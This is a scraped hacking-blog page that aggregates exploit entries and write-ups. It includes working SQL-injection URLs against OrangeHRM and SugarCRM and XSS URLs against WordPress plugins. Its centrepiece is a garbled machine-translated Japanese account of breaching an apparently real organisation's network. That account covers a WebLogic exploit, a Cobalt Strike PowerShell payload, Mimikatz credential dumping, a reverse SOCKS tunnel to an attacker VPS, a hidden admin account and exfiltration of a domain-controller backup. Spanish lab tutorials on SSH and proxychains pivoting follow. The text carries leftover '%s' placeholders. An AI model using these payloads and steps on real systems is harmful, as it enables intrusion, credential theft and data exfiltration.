source: https://www.securityfocus.com/bid/50857/info
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
OrangeHRM 2.6.11 is vulnerable; prior versions may also be affected.
http://www.example.com/lib/controllers/centralcontroller.php?capturemode=updatemode&uniqcode=NAT&id=1 %27%20union%20select%20version%28%29,user%28%29%20--%20
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863585253
Contributors to this blog
-
16114
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/50860/info
1-jquery-photo-gallery-slideshow-flash plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
1-jquery-photo-gallery-slideshow-flash 1.01 is vulnerable; other versions may also be affected.
UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described.
http://www.example.com/[path]/wp-content/plugins/1-jquery-photo-gallery-slideshow-flash/wp-1pluginjquery.php?page=[xss]
source: https://www.securityfocus.com/bid/50861/info
flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/facebook.php?i=[xss]
source: https://www.securityfocus.com/bid/50870/info
SugarCRM Community Edition is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
SugarCRM Community Edition 6.3.0RC1 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&where=0%29%20union%20select%20version%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71%20--%20
http://www.example.com/index.php?entryPoint=json&action=get_full_list&module=Leads&order=SQL_CODE_HERE%20--%20
タイトル：完全なイントラネット浸透体験を記録します
HACKER · %s · %s
私は主にイントラネットを練習したいので、最もシンプルで最も粗い方法を使用してターゲットを見つけました。私はFOFAを使用してWeblogicの波をバッチし、しばらくしてターゲットを見つけました。
私は単にマシン環境を見ただけで、ソフトウェアの殺害はありませんでした（実際には非常にニッチなファイアウォールがあることを後で知りましたが、それはPowerShellをブロックしませんでした）、イントラネット環境がありました。
ここでは、CSSに付属のスクリプト化されたWeb配信モジュールを直接試し、ワンクリックでPowerShellをダウンロードおよび実行するためのWebサービスを直接作成します。
生成したPowerShellを実行します
ここのCSは正常に起動されました。
ここでは、まずシステム情報を見ていきます。
上記によると、サーバーは2012年であり、イントラネットIPセグメントは192.168.200.xであることがわかります。
次に、Ladonを使用してイントラネット環境をスキャンしました。
このイントラネットセグメントには多くのマシンはありません。ドメイン環境があることがわかります。次に、マルチネットワークカードの検出とWeb検出が実行されました。
このイントラネットには複数のネットワークセグメントがあり、Webサービスが開かれていることがわかります。
Mimikatzは、1人のユーザーと暗号化されたパスワードのみを読み取ります
パスワードはCMD5でロック解除できます
次はMS17010の最もエキサイティングなスキャンです！
MS17010を持つ可能性のあるいくつかのマシンがあることがわかります。そのため、ソックスエージェントを開き、MSFを直接使用してヒットすることを計画しています。
ここでは、サーバーを購入する際に数量に応じて請求されるサーバーを購入しようとすることを皆さんにお勧めします。私のような一時的な利点に貪欲にならないでください。たった1mの帯域幅のHKサーバーを購入しました。 CSに付属のソックスエージェントが開かれ、他の操作は言うまでもなく、ローカルテスト接続が失敗します。
したがって、ここでは、著者は、EWを使用して、数量で充電し、トンネルを再開するサーバーを一時的に開くことができます。特定のプロセスは次のとおりです。
EWファイルを開いたサーバーにスローし、実行して実行しました：ew -s rcsocks -l 1900 -e 1200は転送トンネルを構成します。
次に、EWファイルをターゲットマシンにアップロードして実行し、EW -S RSSOCKS -D XXX.XXX.XXX.XXX（上記で作成されたサーバーIP）-E 1200、ターゲットホストSOCKS5サービスを有効にし、リレーマシンの1200ポートに逆に接続します。実行後、追加の接続ラインが完了することがわかります。
その後、プロキシをローカルで構成するだけで問題ありません。
Windowsプログラムの場合、通常、Sockscapを使用して次のプロキシを構成できます。
Local Virtual MachineでKaliのMSFを使用したいため、Kaliのプロキシ構成はより便利です。まず、VIM /ETC/PROXYCHAINS.CONFを追加し、下部にプロキシを追加します。
保存した後、プログラムにプロキシチャインを直接追加して開始し、プロキシを掛けます。
たとえば、プロキシを掛けたい場合は、直接次のようにする必要があります。
イントラネットへの道は常にとてもでこぼこです。 EXPを経験した後、ツールを変更して人を揺さぶった後、MS17010が実際に使用することが不可能であることを確認しました。
ショートカットを取ることができないため、パスを変更してWebから始めます。
パスワードの弱いインジェクションなどを試しましたが、Google Translatesが背景を入力しても理解できなかったとしても、翻訳できませんでした。他の方法を見つけたほうがいいでしょう。
したがって、詳細情報収集が始まりました。
表示ログイン資格情報を表示する、いいえ
共有コンピューターのリストを表示します
それから私は共有コンピューターのCドライブにアクセスしようとし始めました
最後に、私はそれに正常にアクセスしたことがわかりました
IPを取得するためにマシンをping 192.168.200.6
ビーコンを右クリックしてリスナーを作成します
次に、PSEXEC_PSHを使用して、サーバー192.168.200.6をオンラインで試してみます
正常に起動しました
次に、新しく発売されたマシンに関する情報を収集します
他の発見はありません
次に、出発点に戻り、このネットワークセグメントにどのマシンがあるかを確認します
4つのLinuxマシン、つまり22、1、5、11があることがわかります
この時点で、弱いパスワードの波を試すことができます。
運は少し少ないと言うことしかできません
私は単にプロセスに関する情報を確認しましたが、現時点ではすでに2つのイントラネットマシンを削除していましたが、ドメイン内のマシンではないことがわかりませんでした。他のLinuxホストは弱いパスワードをテストし、正しくありませんでしたが、再び行き詰まりました。
この時点で、私が倒したマシンがVeeamバックアップと名付けられたことがわかりました。これはバックアップサーバーであり、彼のハードディスクにバックアップファイルがある可能性があると思います。そのため、彼の各フォルダーのコンテンツを注意深く確認しました。
運が来たときに運を止めることはできないとだけ言うことができます。
ディスクDのフォルダーには、バックアップと呼ばれるフォルダーが見つかりました。これにより、3つのマシンのバックアップが保存されています。
私は単にBaiduの接尾辞を完成させただけで、Veeam®バックアップレプリケーションと呼ばれるソフトウェアであることがわかりました。その機能は、vSphereなどのバックアップを作成することです。
すぐに、私の考えが明らかになりました、私はveeam®バックアップをローカルにインストールする必要がありました
レプリケーションソフトウェアは、このDCの完全なバックアップパッケージをローカルエリアに圧縮し、仮想マシンに復元し、PEを介して名前を変更し、CMD.exeで名前を変更します。このようにして、ログインインターフェイスのシステムコマンドラインを呼び出してから、管理者アカウントを追加するか、インターフェイスを入力してCSをローカルに起動し、ドメイン内の保存されたユーザーハッシュユーザーを直接読み取り、PTHを介してオンラインDCを直接取得する方法を見つけることができます。
このバックアップサーバーはネットワークを離れなかったため、彼が言ったように彼はそれをしましたが、彼と21のネットワークリリースマシンには共有フォルダーがあります。彼の動作を促進するために、彼は密かにバックアップサーバーに隠されたアカウントを作成し、最新のDCフルバックアップを700mの圧縮パッケージに直接圧縮し、すべてを共有フォルダーに配置しました。
ネットワーク外のマシンにはポート7001のみがあるため、Weblogic Webパスが見つかり、すべての圧縮パッケージを共有フォルダーからWebパスに入れ、Web側からダウンロードしました。このネットワークアウトマシンの帯域幅は低すぎるため、平均速度は200kであり、立ち往生し続けるため、長い間待ってから最終的に降りました。
この長いダウンロードプロセス中に、VEEAM®バックアップレプリケーションソフトウェアを最初にダウンロードしました。
突然、私は非常に興味深いことを見つけました。つまり、彼はローカル管理者アカウントでのログインをサポートできることです。
そして、彼は他のIPSとともに仮想マシンをバックアップしたので、彼はVSphereにログインするべきだったと思います。
それで、私はエージェントを接続して、もう一度チェックアウトしました。案の定、私はそれを正しく推測しました、ウフは離陸しました。管理者の特権に相当します。
ローカルでダウンロードされた完全なバックアップは、ローカルで復元するのも非常に簡単です。ソフトウェアをダブルクリックして、ソフトウェアを自動的に開くだけです。
完了した復元
次のステップは簡単です。 Lao Maotaoをダウンロードして、ISO PEツールボックスを生成します
仮想マシンにマウントし、ESCをパワーで押します
PEを入力した後、CMD.exeをOSK.Exeに名前変更して、元のC Disk \ Windows \ System32 \ osk.exeを上書きします。このようにして、コンピューターをオンにするときに画面キーボードをオンにすると、システム権限を備えたコマンドラインがポップアップします。
ここにユーザーを直接追加すると、いくつかの問題が発生しました。
最後に、ドメインユーザーのパスワードを変更した後、ローカル管理者グループに追加され、システムに正常に入力しました。
EXEの最終世代が発売されたとき、HANPIファイアウォールが最終的に保護され始めました。
ハンハンファイアウォールにフロントビューを与えます。
TMDはまだ私のローカル仮想マシンで私をフォローしていますか？私はあなたをシャットダウンしません。
ただし、閉じるにはパスワードが必要です。忘れて、我慢してください。
最後に、元のPowerShellで発売されました。
その後、最も儀式的なシーン
最終的に、ハッシュを使用してオンラインDCと戦う必要がありますが、それはすべて完了です。
仕事を終えて寝た後。
要約
1。FOFAを介してターゲットシステムを検索すると、ツールを使用してWebLogicを介してWebLogic Frameworkと実行可能コマンドが採用されます。ここでは、ターゲットWebサイトシステムにIce Scorpionの文をアップロードします。また、ターゲットシステムにニッチなファイアウォールがあることもわかっており、テスト後、ファイアウォールはPSスクリプトを傍受しませんでした。 2。VPSで、CDに付属のスクリプト付きWeb配信モジュールを使用し、ワンクリックでPowerShelsをダウンロードおよび実行するためのWebサービスを直接作成します。 URLパス： /A /123ホストアドレス：ターゲットシステムIPポート：80リスナー：HTTPSタイプ：Poseshell3。 PowerShelを実行すると、CSが正常に起動されます。 4. Cコマンドを介してターゲットシステム情報をクエリし、ターゲットシステムがWin2012であり、ターゲットイントラネットIPが192.168.200.200.21SystemInfoshell IPConfig5であることを発見しました。 CSを介してLadonをターゲットシステムにアップロードし、Ladonを介してイントラネットシステムをスキャンし、ターゲットにWebサービスホストがあることを確認します。 Landon 192.168.200.1/24 Osscan6。ユーザー名とパスワードのハッシュ値はMimikatzを介して正常に読み取られ、パスワードNTMLはMD5を介して復号化され、P@SSSW0RDに復号化されます。 7.バッチMS17-010 LADONをスキャンし、いくつかのシステムにMS17-010の脆弱性があることを発見しました。ランドン192.168.200.1/24 MS170108。パブリックネットワークVPSで次のコマンドを実行して、ポート1900が受け取ったプロキシリクエストをホストEWに転送します。これは、ポート1200 EW -S RCSOCKS -L 1900 -E 12009に戻るホストEWに戻ります。EWを介してEWをターゲットシステムにアップロードし、次のコマンドを実行し、ターゲットホストソックス5サービスをターゲットホスト1200に接続できるようにします。 xxx.xxx.xxx.xxx.xxx（パブリックネットワークVPS IP）-E 120010。ローカルWindowsはSockScapをローカルに使用してSock5プロキシを構成します。ローカル仮想マシンのKaliのMSF。 Kaliプロキシ構成の方が便利です。まず、Vim /etc/proxychains.conf、Sock5をSocks5 Target IP 190011に追加します。Kaliでは、プロキシをハングしたい場合は、Proxychains msfconsoleです。 Sockscapでは、Intranet Webアクセスに使用されるSockscapでIbrowserがアクセスしたSocks5プロキシを追加しますが、弱いパスワードをテストして入力することは不可能であることがわかります。
12.情報を収集し続け、ログイン資格情報を表示し、シェルCMDKEY /L13を持っています。共有コンピューターのリストを表示し、コンピューターCディスクにアクセスしてみてください。バックアップコンピューターは、共有シェルビューズ\\ veeam-backup \ $ 14にアクセスできることがわかりました。ターゲット共有コンピューターをpingすることにより、IPアドレスは192.168.200.6のVeeam-Backup15を照会します。 CSのリスナーを作成してリレー---リッスン - name（c2）、ペイロード（Windows/beacon_reverse_tcp）、Host :192.168.200.21をリッスンし、port:44444416を聞きます。次に、PSEXEC_PSHを使用して、オンラインで192.168.200.6を試してみました。最初は、ホストジャンプPSEXEC _PSH 192.168.200.617に何もないことがわかりました。以前のLadon検出により、イントラネットのホスト22、1、5、および11がLinuxシステムであることがわかりました。パスワードが弱いと、192.168.200.22にパスワードが弱いことを発見しましたが、Linuxホストに利用可能なSSHはありませんでした。 192.168.200.22ルート12345618。Veeam-Backupホストにバックアップファイルを見つけました。これはVeeam®バックアップレプリケーションのソフトウェアであり、その機能はVSphereなどのために特にバックアップを作成することです。 19。Veeam-Backupが外部ネットワークから出ないことを発見しました。ここでは、7Zを使用してバックアップファイルをパッケージ化および圧縮します。ターゲットシステムのWebディレクトリで、コマンド共有を通じてバックアップファイルをターゲットシステムにコピーします。 19.バックアップレプリケーションをローカルにインストールし、バックアップファイルを復元します。ログインウィンドウには、デフォルトのユーザー名、パスワード、IPがあることがわかりました。これには、ターゲットイントラネットでのログインが必要です。ここでは、SOCK4プロキシを有効にすることにより、プロキシファイアを介してバックアップレプリケーションをローカルにロードするSOCK4プロキシに正常にアクセスできます。 20。ローカルでダウンロードされた完全なバックアップも、ローカルで復元するのが非常に簡単です。ソフトウェアをインストールしてダブルクリックして、復元のためにソフトウェアを自動的に開きます。 21. Lao MaotaoのWinPEを介してシステムに入ります。ここでは、CMD.exeをここでOSK.exeに変更して、元のC Disk \ Windows \ System32 \ osk.exeを上書きします。このようにして、画面キーボードをオンにすると、システム許可コマンドラインがポップアップします。 22。コマンドクエリを通じて、復元されたシステムが通常のドメインホストであることがわかりました。ここでは、ドメインユーザーがローカル管理者グループに追加され、コマンドの追加を通じてローカル管理者グループに追加した後、システムに正常に入力しました。ネットユーザーhanli quer1345 @ /addnet localgroup管理者hanli /add23。 CSのバックドアを介して仮想マシンでオンラインになり、CSのHasdumpを介してハッシュを読み取り、ハッシュを介してハッシュを介して元のリンクを通過します：https://xz.aliyun.com/t/9374
- Read more...
- 0 comments
- 1 view
Smart PHP Poll - Authentication Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Intel Network Adapter Diagnostic Driver - IOCTL Handling
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Foxit Reader 7.0.6.1126 - Unquoted Service Path Privilege Escalation
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
AtMail 1.04 - 'func' Multiple Cross-Site Scripting Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
GNU glibc - Timezone Parsing Remote Integer Overflow
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Elxis CMS 2009 - 'index.php?task' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views
- Read more...
- 0 comments
- 2 views
IPass Control Pipe - Remote Command Execution (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
WordPress Plugin SEO by Yoast 1.7.3.3 - Blind SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Pivoting con Proxychains
HACKER · %s · %s
Proxychains es un programita de Linux (no está en Windows) que nos permite hacer uso de herramientas y otros programas a través de un proxy. Como se menciona en el post de «Pivoting con SSH», es típico usarlo junto a un Dynamic Port Forwarding (en SSH), en caso de no tener el SSH disponible, también podemos usar chisel.
El «laboratorio» para este post es el siguiente:
4 EquiposKali –> Mi equipo de atacanteIP: 192.168.10.10 Debian 1 –> Servicio SSH activadoIP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red Debian 2 –> Servicio Apache2 y SSH activadoIP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red Debian 3 –> Servicio Apache2 activadoIP: 192.168.30.20 y 192.168.40.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante)
Lo primero de todo es establecer un puerto como proxy, conectándonos por SSH al Debian 1:
Teniendo ya el puerto 8080 funcionando como un proxy. Tenemos que configurar proxychains para que funcione en este puerto, de tal forma que todo el tráfico lo envíe por ahí usando el protocolo SOCKS.
Para configurar proxychains nos vamos a la ruta por defecto de configuración:
/etc/proxychains.conf
/etc/proxychains4.conf
Puede ser una u otra, comprueba la que tengas en tu equipo. Normalmente es la segunda opción. De todas formas, ésta es la última ruta donde proxychains a la hora de ser usado comprobará que configuración tiene. El PATH (por así decirlo), donde proxychains busca el archivo de configuración, en orden, es el siguiente:
Directorio Actual (./proxychains.conf) $(HOME)/.proxychains/proxychains.conf /etc/proxychains.conf /etc/proxychains4.conf En cualquier caso, también puedes especificar el archivo a usar con el parámetro -f <archivo>, tal que: proxychains -f <archivo> <comando>
Sabiendo esto, vamos a configurar el archivo, en este caso, la parte a cambiar está en el final de éste:
En la parte indicada, podemos, o cambiar el comando que ya hay, o comentarlo y añadir otro:
De esta forma le indicamos que el proxy está en el localhost en el puerto 8080. Ahora, guardamos el archivo. Con esto, ya está todo configurado para que proxychains funcione. Para que un programa sea ejecutado enviando todo el tráfico por el proxy usando proxychains, usamos la siguiente sintaxis:
proxychains <comando>
Nota: puede que te des cuenta que en tu equipo existen tanto el comando proxychains como proxychains4, el primero si vemos su manual nos damos cuenta que apunta a proxychains4:
Así que no importa el comando que uses.
Volviendo al tema, podemos abrir por ejemplo firefox siguiendo la sintaxis de proxychains <comando>:
Ahora mismo todo el tráfico de firefox está pasando por el proxy. Por lo que si intentamos acceder al servidor web al que supuestamente no tenemos acceso:
¡Vemos que podemos acceder!
Esta misma idea no es solo aplicable a firefox, sino lo guay es que por ejemplo también podemos hacer uso de nmap:
Sin embargo, proxychains tiene la limitación de que solo permite conexiones TCP (por eso mismo especifico en el comando nmap el argumento -sT) y protocolos SOCKS4, SOCKS5 y HTTP, por lo que por ejemplo un ping no funcionará ya que es protocolo ICMP:
Se queda en el intento, pero en ningún momento llega a nada.
Éste es el útil uso de proxychains. Lo cómodo, es sabiendo todo esto, de la misma forma, proxychains nos permite crear de forma sucesiva proxies que tiren del anterior. Me explico, en el punto donde estamos ahora, si yo inicio sesion en el Debian 2, de la misma forma que lo hemos hecho con Debian 1, creamos otro puerto que actúe como proxy:
Los argumentos que se han añadido son:
-f –> Hacemos que SSH se vaya al segundo plano en cuanto se conecte -N –> No ejecutar nada (ni siquiera una shell) – Útil para Port Forwarding Sin embargo, si nos fijamos el proceso se queda ahí:
Con este SSH hecho que ya tira del proxy del Debian 1, podemos editar de nuevo la configuración:
Para que de ésta forma, al hacer uso de proxychains, tire de este nuevo proxy del Debian 2 (puerto 9090), el cual ya tira de la anterior conexión hecha (Debian 1 – puerto 8080):
Como vemos, podemos llegar al Debian 3, vamos a recordar el diagrama del laboratorio:
Conseguimos llegar al Debian 3 mediante un proxy SOCKS en Debian 2 el cual tira de otro proxy SOCKS en Debian 1. Todos estos proxies creados, en este caso, mediante SSH. OJO, proxychains siempre tirará del último proxy, o, al menos, el que le especifiquemos en el archivo de configuración. Así que estamos limitados a acceder a los recursos los cuales este proxy pueda llegar. Con esto me refiero a que si por ejemplo tenemos los equipos: 1 2 3 4 5, y cada uno solo tiene acceso, al de su izquierda o derecha. Si concatenamos varios proxies para llegar al equipo 5, una vez allí, no podremos acceder a los recursos de la 3, ya que el archivo de proxychains tira en este momento del proxy 5, y por lo tanto, tendrá acceso a lo que este dispositivo tenga acceso.
Dicho esto, como he indicado, este procedimiento se puede repetir tantas veces como queramos, incluso mezclando SSH con chisel (o cualquier otra herramienta que haga lo mismo) en los distintos saltos que hagamos.
- Read more...
- 0 comments
- 1 view
Joomla! Component com_simplephotogallery 1.0 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Brasero CD/DVD Burner 3.4.1 - '.m3u' Buffer Overflow Crash (PoC)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view
Hero 3.69 - 'month' Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views
- Read more...
- 0 comments
- 1 view
Serv-U FTP Server 11.1.0.3 - Denial of Service / Security Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views
Elxis CMS 2009 - 'administrator/index.php' URI Cross-Site Scripting
HACKER · %s · %s
- Read more...
- 0 comments
- 2 views
- Read more...
- 0 comments
- 1 view
Pivoting con SSH
HACKER · %s · %s
Índice:
Introducción Local Port Forwarding Remote Port Forwarding Dynamic Port Forwarding
Introducción
SSH nos permite 3 modos de port forwarding (reenvío de puertos):
Local Port Forwarding Remote Port Forwarding Dynamic Port Forwarding El «laboratorio» para este post es el siguiente:
3 Equipos:Kali –> Mi equipo de atacanteIP: 192.168.10.10 Debian –> Servicio SSH activadoIP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red Debian –> Servidor Apache2 activadoIP: 192.168.20.20 y 192.168.30.10 –> 2 Interfaces de Red (aunque la segunda para este post es irrelevante) El objetivo es llegar desde el Kali al Debian que tiene el servidor web, en base a como están distribuidas las redes arriba podemos darnos cuenta rapidamente de que no hay conexión directa entre un equipo y otro. Sin embargo, vamos a aprovecharnos del debian que actúa como servidor SSH y que además tiene conexión a ambas redes para poder llegar desde el Kali al servidor web.
Local Port Forwarding
En este caso, aprovechamos la sesión de SSH para nosotros abrirnos un puerto en nuestro kali para que éste, nos rediriga a la máquina y puertos seleccionados, usando como pivoting el servidor al que nos conectamos por SSH.
La sintaxis e idea es la siguiente:
Teniendo esto en cuenta, procedemos:
Como vemos, la sintaxis usada es:
ssh -L 80:192.168.20.20:80 [email protected]
Explicado con palabras, es lo siguiente:
Con el parámetro -L, le indicamos que queremos hacer un Local Port Forwarding. El primer puerto que le indicamos, es el puerto que nosotros nos abrimos localmente y que tunelizará hacia el servicio. Posteriormente, la IP y puerto especificado es al que queremos acceder y llegar desde nuestro puerto local. Todo esto a través de la máquina en la que iniciamos sesión con SSH.
Por lo que en este punto, si nos vamos al navegador manteniendo la sesión SSH abierta y vamos a la dirección: http://localhost/, veremos el servidor web:
De esta forma, podemos acceder a todos los puertos de todas las IP a las que el servidor SSH tenga acceso.
En el momento que cortemos la conexión también perderemos el port forwarding:
Remote Port Forwarding
El Remote Port Forwarding es un poco distinto al Local Port Forwarding. No cambia mucho a nivel sintaxis pero si a nivel conceptual.
La sintaxis en este caso es la siguiente:
ssh -R <puerto a abrir en la maquina a la que te conectas><dirección a donde apuntar><puerto a apuntar de la direccion donde se apunta> <usuario>@<direccion kali>
La peculiaridad del Remote Port Forwarding es que nosotros no iniciamos sesión en el servidor SSH que tenemos definido en el laboratorio. Sino que en este caso, es al revés, desde el servidor SSH que tenemos, iniciamos sesión en nuestra máquina kali (tendriamos que activar el servicio SSH).
Mirándolo desde el punto de vista de atacante y víctima, si tratamos el kali como atacante y el debian (servidor SSH) como víctima, nos podemos dar cuenta de que en la máquina víctima, estaríamos poniendo credenciales de nuestro equipo. Ésto hablando desde el punto de vista de la seguridad no es lo óptimo, por eso, se suele usar siempre Local Port Forwarding, ya que no tiene este peligro.
Entonces, volviendo a la práctica, ejecutariamos lo siguiente en el Debian (servidor SSH):
Como vemos, el comando para el Remote Port Forwarding es:
R:80:192.168.20.20:80
De esta forma, como estamos iniciando sesión en el kali, le estamos indicando que abra el puerto 80 y que apunte al Debian que actúa como servidor web. Podemos hacer esto ya que el Debian desde el que nos conectamos tiene acceso a ambas redes, por ello, es posible conectarlas.
Con esto hecho, si nosotros desde el kali nos vamos al localhost:
Vemos que podemos acceder perfectamente al servidor web.
Y al igual que en el Local Port Forwarding, al momento que cortemos la sesión SSH, perdemos la conexión:
Dynamic Port Forwarding
Éste puede ser el tipo de Port Forwarding mas peculiar pero muy útil en ciertas ocasiones. El Dynamic Port Forwarding de forma resumida y mal dicha, nos permite tunelizar todos los puertos de toda la red a la que el servidor SSH tenga acceso. Ésto ocurre porque con este modo, podemos hacer que SSH actué como un proxy SOCKS:
La sintaxis para lograr esto es la mas sencilla de todas:
ssh -D <puerto local que actuará de proxy> <usuario>@<IP>
Por lo que:
De esta forma, ahora mismo tenemos un proxy SOCKS en nuestro puerto local 8080.
Si por ejemplo, desde firefox, nos vamos a «Ajustes > Configuración de Red», podemos indicarle que use éste puerto como proxy SOCKS:
Ahora, ya no tenemos que acceder al localhost como hacíamos en el Local o en el Remote Port Forwarding. De ésta forma, podemos ir directo:
Como vemos parece como si estuviéramos en la misma red que el servidor web. La pregunta en este punto es:
¿Podemos hacer uso de ésto con otras herramientas, por ejemplo, nmap? Pues si que podemos hacer uso tanto de nmap como de otras utilidades, si que es cierto que con ciertas limitaciones, pero podemos, y algunas veces es muy útil. Para poder hacer esto haremos uso de Proxychains, el cual podeis acceder a su post aquí.
Conclusión + Info importante
Algo que no he mencionado hasta ahora es que en cualquiera de los 3 modos, puedes usar tantos argumentos como quieras, es decir, puedes poner varios -L para crear varios Local Port Forwarding en la misma sesión. Ésto mismo aplica para el Remote y el Dynamic Port Forwarding.
Ejemplo con Dynamic:
De ésta forma, podemos tunelizar tantos puertos como queramos (si hablamos de local y remote).
Y estas son las tres formas principales de hacer pivoting en SSH, además, como dato extra, todas las conexiones funcionan por encima de la capa de seguridad que proporciona este protocolo, por lo que todas las conexiones estarán encriptadas.
- Read more...
- 0 comments
- 1 view
WordPress Plugin WPML 3.1.9 - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view